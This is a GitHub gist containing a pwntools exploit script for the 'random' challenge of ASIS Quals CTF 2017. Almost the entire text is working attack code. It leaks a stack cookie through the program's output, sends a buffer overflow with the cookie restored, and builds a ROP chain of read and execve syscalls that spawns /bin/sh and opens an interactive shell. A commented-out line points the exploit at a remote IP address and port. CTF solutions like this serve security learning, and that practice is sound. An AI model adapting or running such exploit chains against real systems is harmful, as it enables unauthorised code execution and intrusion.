Created
April 10, 2017 12:21
-
-
Save kokjo/efc21d1a6923e2a1c416c71202ddbd92 to your computer and use it in GitHub Desktop.
Exploit for the challenge random from ASIS Quals CTF 2017
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context.arch = "amd64" | |
r = process("./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1") | |
#r = remote("69.90.132.40", 4000) | |
values = [0] | |
for i in range(1,8): | |
r.sendline(str(i)) | |
r.recvuntil("Your value = ") | |
values.append(int(r.recvline())) | |
cookie = u64(flat(values, word_size=8)) | |
log.info("Stack cookie = 0x%016x", cookie) | |
pop_rax_rdi = 0x0000000000400f8c | |
pop_rsi_r15 = 0x0000000000400f61 | |
mov_rdx_rsi = 0x0000000000400f88 | |
syscall = 0x0000000000400f8f | |
bss = 0x602244 | |
def syscall3(no, arg1, arg2, arg3): | |
return [pop_rax_rdi, no, arg1, | |
pop_rsi_r15, arg3, 0x4141414141414141, mov_rdx_rsi, | |
pop_rsi_r15, arg2, 0x4141414141414141, | |
syscall] | |
r.sendline("0") | |
rop = flat([ | |
syscall3(0, 0, bss, 8), | |
syscall3(0x3b, bss, 0,00) | |
]) | |
assert "\n" not in rop | |
#gdb.attach(r) | |
r.sendline("A"*1032 + p64(cookie) + "B"*8 + rop) | |
sleep(0.1) | |
r.send("/bin/sh\x00") | |
r.sendline("echo SHELL") | |
r.recvuntil("SHELL\n") | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment